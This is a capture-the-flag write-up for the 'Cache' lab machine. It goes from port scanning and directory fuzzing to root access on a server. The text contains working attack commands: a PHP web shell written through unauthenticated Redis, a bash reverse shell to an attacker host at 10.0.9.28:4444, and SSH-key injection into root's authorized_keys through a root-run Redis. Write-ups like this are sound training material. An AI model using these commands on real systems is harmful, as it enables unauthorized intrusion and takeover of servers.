[Write-Up] HackingClub: Cache
·10 mins
Table of Contents
Recon #
Nmap #
┌──(kali㉿kali)-[~/Machines/HC-Cache]
└─$ nmap -sS cache.hc
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-12 10:14 -0400
Nmap scan report for cache.hc (172.16.15.94)
Host is up (0.18s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 7.94 seconds
Full nmap scan
┌──(kali㉿kali)-[~/Machines/HC-Cache]
└─$ nmap -sS cache.hc -p-
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-12 11:16 -0400
Nmap scan report for cache.hc (172.16.15.94)
Host is up (0.16s latency).
Not shown: 65510 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
1970/tcp filtered netop-rc
3306/tcp open mysql
6379/tcp open redis
Nmap done: 1 IP address (1 host up) scanned in 850.84 seconds
Enumeration #
Fuzzing HTTP #
Using some of the default wordlist provided with Kali nothing of relevance is found on the web server:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://cache.hc/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Extensions : php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htaccessphp [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 179ms]
.htpasswd [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 188ms]
.htpasswdphp [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 1199ms]
.htaccess [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 4223ms]
cgi-bin/ [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 143ms]
:: Progress: [40938/40938] :: Job [1/1] :: 273 req/sec :: Duration: [0:02:46] :: Errors: 0 ::
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://cache.hc/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
:: Extensions : php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
# directory-list-2.3-small.txtphp [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 148ms]
# directory-list-2.3-small.txt [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 152ms]
#php [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 145ms]
#php [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 160ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 160ms]
# This work is licensed under the Creative Commons php [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 164ms]
# Suite 300, San Francisco, California, 94105, USA.php [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 164ms]
# or send a letter to Creative Commons, 171 Second Street, php [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 165ms]
# [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 164ms]
#php [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 162ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 162ms]
# Copyright 2007 James Fisher [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 165ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 162ms]
# Attribution-Share Alike 3.0 License. To view a copy of this php [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 164ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 165ms]
#php [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 166ms]
# [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 166ms]
# Priority ordered case sensative list, where entries were found php [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 166ms]
# [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 166ms]
# on atleast 3 different hostsphp [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 167ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ php [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 167ms]
[Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 167ms]
# [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 163ms]
# Copyright 2007 James Fisherphp [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 170ms]
# on atleast 3 different hosts [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 166ms]
# This work is licensed under the Creative Commons [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 165ms]
# Priority ordered case sensative list, where entries were found [Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 166ms]
[Status: 403, Size: 3630, Words: 405, Lines: 123, Duration: 156ms]
:: Progress: [175328/175328] :: Job [1/1] :: 181 req/sec :: Duration: [0:12:03] :: Errors: 1 ::
Using an extra wordlist available here fuzz-bo0om.txt we manage to find a admin panel for Redis:
┌──(kali㉿kali)-[~/Machines/HC-Cache]
└─$ ffuf -u http://cache.hc/FUZZ -w fuzz-Bo0oM.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://cache.hc/FUZZ
:: Wordlist : FUZZ: /home/kali/Machines/HC-Cache/fuzz-Bo0oM.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.ht_wsr.txt [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 155ms]
.hta [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 155ms]
.htaccess [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 139ms]
.htaccess-dev [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 148ms]
.htaccess-local [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 149ms]
.htaccess-marco [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 154ms]
.htaccess.bak [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 153ms]
.htaccess.BAK [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 154ms]
.htaccess.bak1 [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 161ms]
.htaccess.old [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 144ms]
.htaccess.sample [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 148ms]
.htaccess.orig [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 149ms]
.htaccess.save [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 149ms]
.htaccess.txt [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 149ms]
.htaccess_extra [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 143ms]
.htaccess_orig [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 142ms]
.htaccess_sc [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 148ms]
.htaccessBAK [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 153ms]
.htaccessOLD [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 144ms]
.htaccessOLD2 [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 149ms]
.htpasswd [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 149ms]
.htaccess~ [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 161ms]
.htgroup [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 149ms]
.htpasswd-old [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 149ms]
.htpasswd_test [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 149ms]
.htpasswds [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 149ms]
.httr-oauth [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 162ms]
.htusers [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 152ms]
.user.ini [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 144ms]
cgi-bin/ [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 152ms]
phpRedisAdmin/ [Status: 200, Size: 3357, Words: 338, Lines: 105, Duration: 155ms]
:: Progress: [4842/4842] :: Job [1/1] :: 175 req/sec :: Duration: [0:00:23] :: Errors: 0 ::
Vulnerabilities #
Redis Misconfiguration #
┌──(kali㉿kali)-[~/Machines/HC-Cache]
└─$ redis-cli -h cache.hc
cache.hc:6379> KEYS *
1) "flag"
cache.hc:6379> get flag
"uhc{REDACTED}"
cache.hc:6379>
File Upload with Redis #
cache.hc:6379> set shell '<?php system($_REQUEST["cmd"]); ?>'
OK
cache.hc:6379> config set dbfilename shell.php
OK
cache.hc:6379> config set dir /var/www/html
OK
cache.hc:6379> save
(error) ERR
cache.hc:6379>
Exploitation #
Since uploading did not work on default web server folder, we go back to Fuzzing HTTP, we try an extra wordlist an have success finding an admin panel. Then we try to write into that path.
┌──(kali㉿kali)-[~/Machines/HC-Cache]
└─$ redis-cli -h cache.hc
cache.hc:6379> set '<?php system("/bin/bash -c 'bash -i >& /dev/tcp/10.0.9.28/4444 0>&1'"); ?>'
OK
cache.hc:6379> config set dbfilename rv.php
OK
cache.hc:6379> config set dir /var/www/html/phpRedisAdmin
OK
cache.hc:6379> save
OK
cache.hc:6379>
That does work, which mean now we have a web shell into that server. From here, we can get a reverse shell and move on forward.
Privilege Escalation #
Our initial access is as apache user, with this access we can already get the second flag:
listening on [any] 4444 ...
set sconnect to [10.0.9.28] from (UNKNOWN) [172.16.3.17] 50402
bash: no job control in this shell
bash-4.2$ whoami
whoami
apache
bash-4.2$ cat /flag.txt
uhc{REDACTED}
We find that we have two Redis server running:
┌──(kali㉿kali)-[~/Machines/HC-Cache]
└─$ netstat -nlatp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN 4107/python3
tcp 0 0 10.0.9.28:33342 172.16.3.17:22 TIME_WAIT -
tcp 0 0 10.0.2.15:53892 34.107.243.93:443 ESTABLISHED 2143/firefox-esr
tcp 0 0 10.0.2.15:53896 34.107.243.93:443 ESTABLISHED 2143/firefox-esr
tcp 0 0 10.0.9.28:45744 172.16.3.17:80 ESTABLISHED 2143/firefox-esr
tcp 0 0 10.0.9.28:4444 172.16.3.17:50538 ESTABLISHED 3201/nc
bash-4.2$ netstat -nlatp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:6378 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 2 172.16.3.17:50538 10.0.9.28:4444 ESTABLISHED 28533/bash
tcp 0 0 127.0.0.1:42380 127.0.0.1:6378 TIME_WAIT -
tcp 0 0 172.16.3.17:50412 10.0.9.28:4444 CLOSE_WAIT 3749/bash
tcp6 0 0 :::111 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 172.16.3.17:80 10.0.9.28:45744 ESTABLISHED -
tcp6 1 0 172.16.3.17:80 10.0.9.28:35090 CLOSE_WAIT -
We also find out that this redis instance, that is listening only locally, is running under root user. We try to connect to it without a password and find out we are able to connect to it.
Using it, we can add our SSH public key into the root user.
# We create a public key on the machine
bash-4.2$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY1XElSRDrfp0U3qNY3ejyfk6MaUkooC4O9eCDd7DCg kali@kali
<GY1XElSRDrfp0U3qNY3ejyfk6MaUkooC4O9eCDd7DCg kali@kali' > redis.pub
bash-4.2$ cat redis.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY1XElSRDrfp0U3qNY3ejyfk6MaUkooC4O9eCDd7DCg kali@kali
# We create it as another file, we add padding so as to not break when redis create the file with it's structure
bash-4.2$ (echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > pub.txt
bash-4.2$ cat pub.txt
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY1XElSRDrfp0U3qNY3ejyfk6MaUkooC4O9eCDd7DCg kali@kali
# We create the key on redis
bash-4.2$ cat pub.txt | redis-cli -p 6378 -x set crackit
OK
bash-4.2$ redis-cli -p 6378
127.0.0.1:6378> keys *
2) "crackit"
127.0.0.1:6378> config set dir /root/.ssh
OK
127.0.0.1:6378> config set dbfilename "authorized_keys"
OK
127.0.0.1:6378> save
OK
127.0.0.1:6378> exit
Now we are able to login using the configured key.
┌──(kali㉿kali)-[~/Machines/HC-Cache]
└─$ ssh root@cache.hc
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last login: Sat Sep 12 19:33:15 2026 from ip-10-0-9-28.ec2.internal
__| __|_ )
_| ( / Amazon Linux 2 AMI
___|\___|___|
https://aws.amazon.com/amazon-linux-2/
[root@ip-172-16-3-17 ~]# ls
dump-root.rdb redis-this-is-not-a-flag.txt
[root@ip-172-16-3-17 ~]# cat redis-this-is-not-a-flag.txt
uhc{REDACTED}
[root@ip-172-16-3-17 ~]#
Flags #
- Redis Misconfiguration (unauthenticated access):
uhc{REDACTED} - User (apache foothold via Redis webshell):
uhc{REDACTED} - Root (Redis running as root, SSH key injection):
uhc{REDACTED}